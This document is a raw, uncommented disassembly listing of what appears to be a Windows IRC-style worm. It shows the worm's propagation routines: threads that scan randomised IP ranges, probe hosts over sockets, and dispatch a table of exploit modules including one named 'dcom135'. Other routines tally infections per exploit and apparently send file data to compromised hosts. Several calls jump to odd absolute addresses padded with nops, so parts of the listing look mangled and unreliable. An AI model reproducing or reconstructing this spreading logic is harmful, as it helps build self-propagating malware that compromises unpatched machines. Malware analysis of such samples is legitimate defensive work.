lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_4179A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406DBF
push 190h
call near ptr 25F0439h
nop
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_42AC04
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
push [ebp+var_170]
call sub_417078
add esp, 28h
push ebx
nop
call near ptr 25E02EAh
loc_406DBF: ; CODE XREF: sub_406C19+140j
mov esi, 200h
loc_406DC4: ; CODE XREF: sub_406C19+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_4070C4
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43F650
test eax, eax
jle loc_4070B8
mov al, byte_43C80C
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43F640
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43F6F4
push eax
lea eax, [ebp+var_58]
push eax
call sub_4172B0
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_4070A2
cmp [ebp+var_D7], 1
jnz loc_406FEE
lea eax, [ebp+var_274]
push eax
call sub_417AB0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_418DA0
add esp, 14h
test eax, eax
jnz loc_406FA8
lea eax, [ebp+var_1C]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_418DA0
add esp, 10h
test eax, eax
jnz loc_406FA8
push ebx
push ebx
push [ebp+var_8]
call sub_418D0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_418A86
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43F6CC
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_42ABBC
loc_406F5C: ; CODE XREF: sub_406C19+484j
lea eax, [ebp+var_780]
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F96
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
add esp, 14h
loc_406F96: ; CODE XREF: sub_406C19+358j
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
pop ecx
jmp loc_4070B8
; ---------------------------------------------------------------------------
loc_406FA8: ; CODE XREF: sub_406C19+2B6j
; sub_406C19+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_42ABA8
push edi
call dword_43F6CC
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_42AB74
push eax
call sub_4172B0
lea eax, [ebp+var_D8]
push eax
call sub_40BF6D
add esp, 14h
jmp loc_4070B8
; ---------------------------------------------------------------------------
loc_406FEE: ; CODE XREF: sub_406C19+275j
cmp [ebp+var_D7], 4
jnz loc_4070A2
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_40702B
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_407039
; ---------------------------------------------------------------------------
loc_40702B: ; CODE XREF: sub_406C19+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_407039: ; CODE XREF: sub_406C19+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_418D0E
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_418A86
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
loc_407079: ; DATA XREF: ___:004282F8o
; ___:0042830Co ...
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43F6CC
cmp edi, ebx
jnz short loc_4070B8
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_42AB20
jmp loc_406F5C
; ---------------------------------------------------------------------------
loc_4070A2: ; CODE XREF: sub_406C19+268j
; sub_406C19+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_42AB14
push edi
call dword_43F6CC
loc_4070B8: ; CODE XREF: sub_406C19+204j
; sub_406C19+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406DC4
loc_4070C4: ; CODE XREF: sub_406C19+1B4j
push edi
call dword_43F700
push [ebp+var_8]
call sub_417900
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_4070F8
push [ebp+var_170]
call sub_417078
pop ecx
push ebx
call near ptr 25E02EAh
nop
loc_4070F8: ; CODE XREF: sub_406C19+4CAj
push 3E8h
nop
call near ptr 25F0439h
push esi
loc_407104: ; CODE XREF: sub_406C19+123j
call sub_406C19
pop edi
pop esi
pop ebx
leave
retn 4
sub_406C19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_42B134
push eax
xor ebx, ebx
call sub_4172B0
cmp dword_42ACB0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40717E
push esi
mov esi, offset dword_42ACB8
loc_407143: ; CODE XREF: sub_407110+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4172B0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418DE0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_407143
pop esi
loc_40717E: ; CODE XREF: sub_407110+2Bj
push dword_489C50
call sub_40B721
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4172B0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418DE0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
add esp, 34h
pop edi
pop ebx
leave
retn
sub_407110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_416FA4
test eax, eax
pop ecx
jle short loc_407217
mov eax, [ebp+arg_C]
push dword_43C848[eax*8]
call dword_43F6F4
push eax
lea eax, [ebp+var_200]
push offset unk_42B198
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_40722A
; ---------------------------------------------------------------------------
loc_407217: ; CODE XREF: sub_4071DB+13j
lea eax, [ebp+var_200]
push offset unk_42B168
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40722A: ; CODE XREF: sub_4071DB+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
add esp, 18h
leave
retn
sub_4071DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407252 proc near ; CODE XREF: sub_40797F+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_4075E2
imul eax, 3Ch
xor ebx, ebx
cmp dword_42ACBC[eax], ebx
jz loc_4074C3
push 4
call sub_416FA4
test eax, eax
pop ecx
jnz loc_4075E2
mov eax, dword_42F5AC
push edi
mov edi, offset dword_43D804
push 104h
push edi
push ebx
mov dword_43DA14, eax
mov dword_43DA10, ebx
call near ptr 2640000h
nop
push 103h
mov esi, offset dword_43D908
push offset byte_42F674
push esi
call sub_418C10
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43D800, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43DA98, eax
jnz short loc_407305
lea eax, [ebp+arg_10]
push eax
push offset dword_43DA18
call sub_418C10
add esp, 0Ch
mov dword_43DA9C, 1
jmp short loc_40731F
; ---------------------------------------------------------------------------
loc_407305: ; CODE XREF: sub_407252+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_43DA18
call sub_418C10
add esp, 0Ch
mov dword_43DA9C, ebx
loc_40731F: ; CODE XREF: sub_407252+B1j
push esi
push edi
push dword_43DA14
lea eax, [ebp+var_204]
push offset unk_42B328
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_416D5C
add esp, 20h
mov dword_43DA0C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43D800
push offset sub_406C19
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, dword_43DA0C
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_40738E
loc_40737C: ; CODE XREF: sub_407252+13Aj
cmp dword_43DAA0, ebx
jnz short loc_4073A9
push 32h
nop
call near ptr 25F0439h
jmp short loc_40737C
; ---------------------------------------------------------------------------
loc_40738E: ; CODE XREF: sub_407252+128j
nop
call near ptr 2630313h
push eax
lea eax, [ebp+var_204]
push offset unk_42B2E8
push eax
call sub_4172B0
add esp, 0Ch
loc_4073A9: ; CODE XREF: sub_407252+130j
lea eax, [ebp+var_204]
push eax
call sub_40BF6D
mov edi, offset dword_43DE5C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43E068, ebx
call near ptr 2640000h
nop
push 103h
mov esi, offset dword_43DF60
push offset byte_42F674
push esi
call sub_418C10
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43DE58, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43E0F0, eax
jnz short loc_407424
lea eax, [ebp+arg_10]
push eax
push offset dword_43E070
call sub_418C10
add esp, 0Ch
mov dword_43E0F4, 1
jmp short loc_40743E
; ---------------------------------------------------------------------------
loc_407424: ; CODE XREF: sub_407252+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_43E070
call sub_418C10
add esp, 0Ch
mov dword_43E0F4, ebx
loc_40743E: ; CODE XREF: sub_407252+1D0j
push esi
push edi
push dword_43E06C
lea eax, [ebp+var_204]
push offset dword_42B298
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_416D5C
add esp, 20h
mov dword_43E064, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43DE58
push offset sub_4053D5
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, dword_43E064
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4074B2
loc_40749C: ; CODE XREF: sub_407252+25Ej
cmp dword_43E0F8, ebx
jnz loc_4075D5
push 32h
call near ptr 25F0439h
nop
jmp short loc_40749C
; ---------------------------------------------------------------------------
loc_4074B2: ; CODE XREF: sub_407252+248j
nop
call near ptr 2630313h
push eax
push offset dword_42B258
jmp loc_4075C6
; ---------------------------------------------------------------------------
loc_4074C3: ; CODE XREF: sub_407252+25j
cmp dword_42ACC0[eax], ebx
jz loc_4075E2
push 3
call sub_416FA4
test eax, eax
pop ecx
jnz loc_4075E2
mov esi, offset dword_43DD34
push 104h
push esi
push ebx
call near ptr 2640000h
nop
push 5Ch
push esi
call sub_418F10
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407501
mov [eax], bl
loc_407501: ; CODE XREF: sub_407252+2ABj
mov eax, dword_42F5B0
mov dword_43DE4C, ebx
mov dword_43DE38, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_43DAAC
call sub_4172B0
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_43DAA8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_43DE38
mov dword_43DE44, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_43DE48, ecx
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42B20C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_416D5C
add esp, 20h
mov dword_43DE40, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43DAA8
push offset sub_405AF2
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, dword_43DE40
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4075BA
loc_4075A8: ; CODE XREF: sub_407252+366j
cmp dword_43DE54, ebx
jnz short loc_4075D5
push 32h
nop
call near ptr 25F0439h
jmp short loc_4075A8
; ---------------------------------------------------------------------------
loc_4075BA: ; CODE XREF: sub_407252+354j
call near ptr 2630313h
nop
push eax
push offset unk_42B1C8
loc_4075C6: ; CODE XREF: sub_407252+26Cj
lea eax, [ebp+var_204]
push eax
call sub_4172B0
add esp, 0Ch
loc_4075D5: ; CODE XREF: sub_407252+250j
; sub_407252+35Cj
lea eax, [ebp+var_204]
push eax
call sub_40BF6D
pop ecx
loc_4075E2: ; CODE XREF: sub_407252+14j
; sub_407252+35j ...
pop esi
pop ebx
leave
retn
sub_407252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:43C848h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_417390
add esp, 0Ch
push [ebp+arg_0]
call dword_43F59C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43F664
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_417390
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4075E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40762E proc near ; CODE XREF: sub_407767+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_417AB0
cmp eax, 0Fh
pop ecx
jbe short loc_407656
xor eax, eax
jmp short loc_4076C7
; ---------------------------------------------------------------------------
loc_407656: ; CODE XREF: sub_40762E+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_418A52
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_407683
call sub_41730C
mov [ebp+var_C], eax
loc_407683: ; CODE XREF: sub_40762E+4Bj
cmp [ebp+var_8], esi
jnz short loc_407690
call sub_41730C
mov [ebp+var_8], eax
loc_407690: ; CODE XREF: sub_40762E+58j
cmp [ebp+var_4], esi
jnz short loc_40769D
call sub_41730C
mov [ebp+var_4], eax
loc_40769D: ; CODE XREF: sub_40762E+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4076A9
call sub_41730C
loc_4076A9: ; CODE XREF: sub_40762E+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_43C848[ecx*8], eax
loc_4076C7: ; CODE XREF: sub_40762E+26j
pop esi
leave
retn
sub_40762E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076CA proc near ; CODE XREF: sub_407767+BBp
; sub_40D4C5+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43F6E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4076F3
xor eax, eax
jmp short loc_407762
; ---------------------------------------------------------------------------
loc_4076F3: ; CODE XREF: sub_4076CA+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43F668
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43F704
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43F610
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43F650
push esi
mov edi, eax
call dword_43F700
xor eax, eax
cmp edi, ebx
setnle al
loc_407762: ; CODE XREF: sub_4076CA+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407767 proc near ; DATA XREF: sub_40797F+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 25E08E4h
push eax
call sub_417302
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4077AE: ; CODE XREF: sub_407767+204j
mov eax, dword_4450C4[ebx]
cmp dword_43C84C[eax*8], 0
jz loc_407970
cmp [ebp+var_10], 0
push eax
jz short loc_4077D8
lea eax, [ebp+var_150]
push eax
call sub_40762E
pop ecx
jmp short loc_4077DD
; ---------------------------------------------------------------------------
loc_4077D8: ; CODE XREF: sub_407767+60j
call sub_4075E6
loc_4077DD: ; CODE XREF: sub_407767+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_4450C4[ebx]
push [ebp+var_3C]
push edi
call dword_43F6F4
push eax
lea eax, [ebp+var_28C]
push offset unk_42B3BC
push eax
call sub_4172B0
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_444EC0[ebx]
push eax
call sub_4172B0
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076CA
add esp, 14h
cmp eax, 1
jnz loc_407960
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078B4
push offset dword_43D7E8
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_43F6F4
push eax
lea eax, [ebp+var_28C]
push offset unk_42B384
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_407896
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40788A
lea eax, [ebp+var_140]
loc_40788A: ; CODE XREF: sub_407767+11Bj
push eax
push [ebp+var_40]
call sub_40D679
add esp, 14h
loc_407896: ; CODE XREF: sub_407767+100j
lea eax, [ebp+var_28C]
push eax
call sub_40BF6D
mov [esp+2A8h+var_2A8], offset dword_43D7E8
nop
call near ptr 77F7E300h
jmp loc_407960
; ---------------------------------------------------------------------------
loc_4078B4: ; CODE XREF: sub_407767+D0j
push edi
call dword_43F6F4
push eax
lea eax, [ebp+var_208]
push eax
call sub_4172B0
mov eax, [ebp+var_20]
pop ecx
imul eax, 3Ch
pop ecx
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4172B0
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_4078F9
lea eax, [ebp+var_140]
loc_4078F9: ; CODE XREF: sub_407767+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4172B0
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42ACB4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_407960: ; CODE XREF: sub_407767+C6j
; sub_407767+148j
push 7D0h
nop
call near ptr 25F0439h
jmp loc_4077AE
; ---------------------------------------------------------------------------
loc_407970: ; CODE XREF: sub_407767+55j
push esi
call sub_417078
pop ecx
push 0
nop
call near ptr 25E02EAh
sub_407767 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40797F proc near ; DATA XREF: sub_40EE72+3302o
; sub_40EE72+5137o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43F6A8
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_43C848[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_407252
push 8
call sub_416FA4
add esp, 150h
cmp eax, ebx
jnz short loc_407A4D
mov esi, offset dword_43D7E8
push esi
nop
call near ptr 26C0000h
push 80000400h
push esi
nop
call near ptr 26B0B0Ch
test eax, eax
jnz short loc_407A4D
lea eax, [ebp+var_1CC]
push offset unk_42B4F0
push eax
call sub_4172B0
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A37
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D679
add esp, 14h
loc_407A37: ; CODE XREF: sub_40797F+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A4D: ; CODE XREF: sub_40797F+63j
; sub_40797F+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_424064
mov edi, ebx
mov dword_43C84C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B1A
loc_407A6B: ; CODE XREF: sub_40797F+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B4A8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_416D5C
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_4450C4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_407767
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_407AE5
loc_407ADA: ; CODE XREF: sub_40797F+164j
cmp [ebp+var_4], ebx
jnz short loc_407B0C
push 1Eh
call esi
jmp short loc_407ADA
; ---------------------------------------------------------------------------
loc_407AE5: ; CODE XREF: sub_40797F+159j
call near ptr 2630313h
nop
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B45C
push eax
call sub_4172B0
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
add esp, 10h
loc_407B0C: ; CODE XREF: sub_40797F+15Ej
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A6B
loc_407B1A: ; CODE XREF: sub_40797F+E6j
cmp [ebp+var_30], ebx
jz loc_407BC4
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_407B2F: ; CODE XREF: sub_40797F+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_43C848[eax*8]
push eax
call dword_43F6F4
push eax
lea eax, [ebp+var_1CC]
push offset unk_42B408
push eax
call sub_4172B0
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B7D
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40D679
add esp, 14h
loc_407B7D: ; CODE XREF: sub_40797F+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40BF6D
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_43C84C[eax*8], ebx
call esi
push 8
call sub_416FA4
cmp eax, 1
pop ecx
jnz short loc_407BB4
push offset dword_43D7E8
call near ptr 26C0000h
nop
loc_407BB4: ; CODE XREF: sub_40797F+228j
push [ebp+var_2C]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_407BC4: ; CODE XREF: sub_40797F+19Ej
; sub_40797F+25Dj
mov eax, [ebp+var_2C]
cmp dword_43C84C[eax*8], 1
jnz loc_407B2F
push 7D0h
call esi
jmp short loc_407BC4
sub_40797F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BDE proc near ; DATA XREF: sub_40EE72+36DFo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
